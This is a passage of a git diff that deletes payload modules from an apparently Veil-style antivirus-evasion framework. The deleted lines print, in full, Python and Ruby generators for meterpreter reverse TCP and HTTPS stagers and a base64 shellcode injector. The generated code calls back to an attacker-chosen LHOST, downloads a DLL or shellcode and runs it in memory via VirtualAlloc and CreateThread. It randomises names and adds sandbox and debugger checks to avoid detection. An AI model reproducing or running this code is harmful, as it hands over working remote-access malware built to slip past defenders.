payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' - - # download the metpreter .dll and inject it - payload_code += '\t' * num_tabs_required + data2Name + " = ''\n" - payload_code += '\t' * num_tabs_required + data2Name + " = " + downloadMethodName + "(\"" + self.required_options["LHOST"][0] + "\", " + str(self.required_options["LPORT"][0]) + ")\n" - payload_code += '\t' * num_tabs_required + injectMethodName + "(" + data2Name + ")\n" - - if self.required_options["USE_PYHERION"][0].lower() == "y": - payload_code = encryption.pyherion(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/python/meterpreter/rev_https.py b/Tools/Evasion/payloads/python/meterpreter/rev_https.py deleted file mode 100644 index 1a2f0c4..0000000 --- a/Tools/Evasion/payloads/python/meterpreter/rev_https.py +++ /dev/null @@ -1,150 +0,0 @@ -""" -Custom-written pure python meterpreter/reverse_https stager - -Module built by @harmj0y -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "python" - self.rating = "Excellent" - self.extension = "py" - self.name = "Pure Python Reverse HTTPS stager" - self.path = "python/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"], - "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"], - "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"], - "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"], - "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"], - "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"], - "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"], - "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"], - "DETECTDEBUG" : ["FALSE", "Check if debugger is present"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # randomize everything, yo' - sumMethodName = evasion_helpers.randomString() - checkinMethodName = evasion_helpers.randomString() - - randLettersName = evasion_helpers.randomString() - randLetterSubName = evasion_helpers.randomString() - randBaseName = evasion_helpers.randomString() - - downloadMethodName = evasion_helpers.randomString() - hostName = evasion_helpers.randomString() - portName = evasion_helpers.randomString() - requestName = evasion_helpers.randomString() - tName = evasion_helpers.randomString() - - injectMethodName = evasion_helpers.randomString() - dataName = evasion_helpers.randomString() - byteArrayName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - bufName = evasion_helpers.randomString() - handleName = evasion_helpers.randomString() - data2Name = evasion_helpers.randomString() - proxy_var = evasion_helpers.randomString() - opener_var = evasion_helpers.randomString() - randctypes = evasion_helpers.randomString() - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_tabs_required = 0 - payload_code = "import urllib.request, string, random, struct, time, ssl, ctypes as " + randctypes + "\n" - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # helper method that returns the sum of all ord values in a string % 0x100 - payload_code += '\t' * num_tabs_required + "ssl._create_default_https_context = ssl._create_unverified_context\n" - payload_code += '\t' * num_tabs_required + "def %s(s): return sum([ord(ch) for ch in s]) %% 0x100\n" %(sumMethodName) - - # method that generates a new checksum value for checkin to the meterpreter handler - payload_code += '\t' * num_tabs_required + "def %s():\n" %(checkinMethodName) - payload_code += '\t' * num_tabs_required + "\tfor x in range(64):\n" - payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(random.sample(string.ascii_letters + string.digits,3))\n" %(randBaseName) - payload_code += '\t' * num_tabs_required + "\t\t%s = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))\n" %(randLettersName) - payload_code += '\t' * num_tabs_required + "\t\tfor %s in %s:\n" %(randLetterSubName, randLettersName) - payload_code += '\t' * num_tabs_required + "\t\t\tif %s(%s + %s) == 92: return %s + %s\n" %(sumMethodName, randBaseName, randLetterSubName, randBaseName, randLetterSubName) - - # method that connects to a host/port over https and downloads the hosted data - payload_code += '\t' * num_tabs_required + "def %s(%s,%s):\n" %(downloadMethodName, hostName, portName) - payload_code += '\t' * num_tabs_required + "\t" + proxy_var + " = urllib.request.ProxyHandler({})\n" - payload_code += '\t' * num_tabs_required + "\t" + opener_var + " = urllib.request.build_opener(" + proxy_var + ")\n" - payload_code += '\t' * num_tabs_required + "\turllib.request.install_opener(" + opener_var + ")\n" - payload_code += '\t' * num_tabs_required + '\t' + requestName + " = urllib.request.Request(\"https://\" + " + hostName + " + \":\" + str(" + portName + ") + \"/\" + " + checkinMethodName + "(), None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'})\n" - payload_code += '\t' * num_tabs_required + "\ttry:\n" - payload_code += '\t' * num_tabs_required + "\t\t%s = urllib.request.urlopen(%s)\n" %(tName, requestName) - payload_code += '\t' * num_tabs_required + "\t\ttry:\n" - payload_code += '\t' * num_tabs_required + "\t\t\tif int(%s.info()[\"Content-Length\"]) > 100000: return %s.read()\n" %(tName, tName) - payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" - payload_code += '\t' * num_tabs_required + "\t\texcept: return %s.read()\n" % (tName) - payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError: return ''\n" - - # method to inject a reflective .dll into memory - payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName, dataName) - payload_code += '\t' * num_tabs_required + "\tif %s != \"\":\n" %(dataName) - payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(byteArrayName, dataName) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" - - # Assuming heap injection - else: - HeapVar = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + ptrName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n' - - # download the metpreter .dll and inject it - payload_code += '\t' * num_tabs_required + "%s = ''\n" %(data2Name) - payload_code += '\t' * num_tabs_required + "%s = %s(\"%s\", %s)\n" %(data2Name, downloadMethodName, self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - payload_code += '\t' * num_tabs_required + "%s(%s)\n" %(injectMethodName, data2Name) - - if self.required_options["USE_PYHERION"][0].lower() == "y": - payload_code = encryption.pyherion(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/python/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/python/meterpreter/rev_tcp.py deleted file mode 100644 index 6a8af49..0000000 --- a/Tools/Evasion/payloads/python/meterpreter/rev_tcp.py +++ /dev/null @@ -1,148 +0,0 @@ -""" -Custom-written pure python meterpreter/reverse_tcp stager - -Module built by @harmj0y -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "python" - self.extension = "py" - self.rating = "Excellent" - self.name = "Pure Python Reverse TCP Stager" - self.path = "python/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "CLICKTRACK" : ["X", "Optional: Minimum number of clicks to execute payload"], - "UTCCHECK" : ["FALSE", "Optional: Validates system does not use UTC timezone"], - "VIRTUALFILES" : ["FALSE", "Optional: Check if VM supporting files exist"], - "VIRTUALDLLS" : ["FALSE", "Check for dlls loaded in memory"], - "CURSORMOVEMENT" : ["FALSE", "Check if cursor is in same position after 30 seconds"], - "USERPROMPT" : ["FALSE", "Make user click prompt prior to execution"], - "MINRAM" : ["FALSE", "Check for at least 3 gigs of RAM"], - "SANDBOXPROCESS" : ["FALSE", "Check for common sandbox processes"], - "DETECTDEBUG" : ["FALSE", "Check if debugger is present"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # randomize all of the variable names used - shellCodeName = evasion_helpers.randomString() - socketName = evasion_helpers.randomString() - getDataMethodName = evasion_helpers.randomString() - fdBufName = evasion_helpers.randomString() - rcvStringName = evasion_helpers.randomString() - rcvCStringName = evasion_helpers.randomString() - - injectMethodName = evasion_helpers.randomString() - tempShellcodeName = evasion_helpers.randomString() - shellcodeBufName = evasion_helpers.randomString() - fpName = evasion_helpers.randomString() - tempCBuffer = evasion_helpers.randomString() - randctypes = evasion_helpers.randomString() - - - payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n" - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_tabs_required = 0 - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # socket and shellcode variables that need to be kept global - payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (shellCodeName,socketName) - - # build the method that creates a socket, connects to the handler, - # and downloads/patches the meterpreter .dll - payload_code += '\t' * num_tabs_required + "def %s():\n" %(getDataMethodName) - payload_code += '\t' * num_tabs_required + "\ttry:\n" - payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" %(socketName) - # build the socket and connect to the handler - payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) - payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" %(socketName,self.required_options["LHOST"][0],self.required_options["LPORT"][0]) - # pack the underlying socket file descriptor into a c structure - payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack(' 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" - payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" - - payload_code += "\tend\nend\n" - - payload_code += "uri = URI.encode(\"http://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - payload_code += "uri = URI(uri)\n" - payload_code += "ij(Net::HTTP.get(uri))\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/meterpreter/rev_https.py b/Tools/Evasion/payloads/ruby/meterpreter/rev_https.py deleted file mode 100644 index 4d9e61d..0000000 --- a/Tools/Evasion/payloads/ruby/meterpreter/rev_https.py +++ /dev/null @@ -1,119 +0,0 @@ -""" -Custom-written pure ruby meterpreter/reverse_https stager - -TODO: better randomization - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Pure Ruby Reverse HTTPS Stager" - self.path = "ruby/meterpreter/rev_https" - self.cli_opts = cli_obj - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - payload_code = '' - - payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n" - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": - payload_code += 'require \'socket\'\n' - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - - payload_code += "def ch()\n" - #payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n" - #payload_code += "\t32.times do\n" - #payload_code += "\t\turi = chk.sample(3).join()\n" - #payload_code += "\t\tchk.sort_by {rand}.each do |x|\n" - #payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n" - #payload_code += "\t\tend\n" - #payload_code += "\tend\n" - payload_code += "\treturn \"WEZf\"\n" - payload_code += "end\n" - - payload_code += "def ij(sc)\n" - payload_code += "\tif sc.length > 1000\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" - payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" - - payload_code += "\tend\nend\n" - - payload_code += "uri = URI.parse(\"https://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - payload_code += "http = Net::HTTP.new(uri.host, uri.port)\n" - payload_code += "http.use_ssl = true\n" - payload_code += "http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n" - payload_code += "request = Net::HTTP::Get.new(uri.request_uri)\n" - payload_code += "response = http.request(request)\n" - payload_code += "ij(response.body)\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py deleted file mode 100644 index 9357b10..0000000 --- a/Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py +++ /dev/null @@ -1,115 +0,0 @@ -""" -Custom-written pure ruby meterpreter/reverse_tcp stager - -TODO: better randomization - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from datetime import date -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Pure Ruby Reverse TCP Stager" - self.path = "ruby/meterpreter/rev_tcp" - self.cli_opts = cli_obj - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n" - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": - payload_code += 'require \'socket\'\n' - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - - payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n" - - payload_code += "def g(ip,port)\n" - payload_code += "\tbegin\n" - payload_code += "\t\ts = TCPSocket.open(ip, port)\n" - payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n" - payload_code += "\t\tp = \" \"\n" - payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n" - payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n" - payload_code += "\t\tsd = $g_o.call(s.fileno)\n" - payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n" - payload_code += "\t\treturn p\n" - payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n" - - payload_code += "def ij(sc)\n" - payload_code += "\tif sc.length > 1000\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" - payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" - payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" - payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" - - payload_code += "\tend\nend\n" - - payload_code += "ij(g(\"%s\",%s))\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/shellcode_inject/base64.py b/Tools/Evasion/payloads/ruby/shellcode_inject/base64.py deleted file mode 100644 index 382082d..0000000 --- a/Tools/Evasion/payloads/ruby/shellcode_inject/base64.py +++ /dev/null @@ -1,120 +0,0 @@ -""" -Ruby inline base64 decoding of shellcode and injector - -TODO: better randomization - -Module built by @ChrisTruncer -""" - -import base64 -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "Base64 decode for shellcode injection" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Ruby Base64 Encoded" - self.path = "ruby/shellcode_inject/base64" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_ends_required = 0 - payload_code = '' - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - - payload_code = "require 'rubygems'\n" - payload_code += "require 'win32/api'\n" - payload_code += "include Win32\n" - payload_code += "require 'base64'\n" - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - # Base64 Encode Shellcode - Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - protect_out = evasion_helpers.randomString() - rand_protect = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += 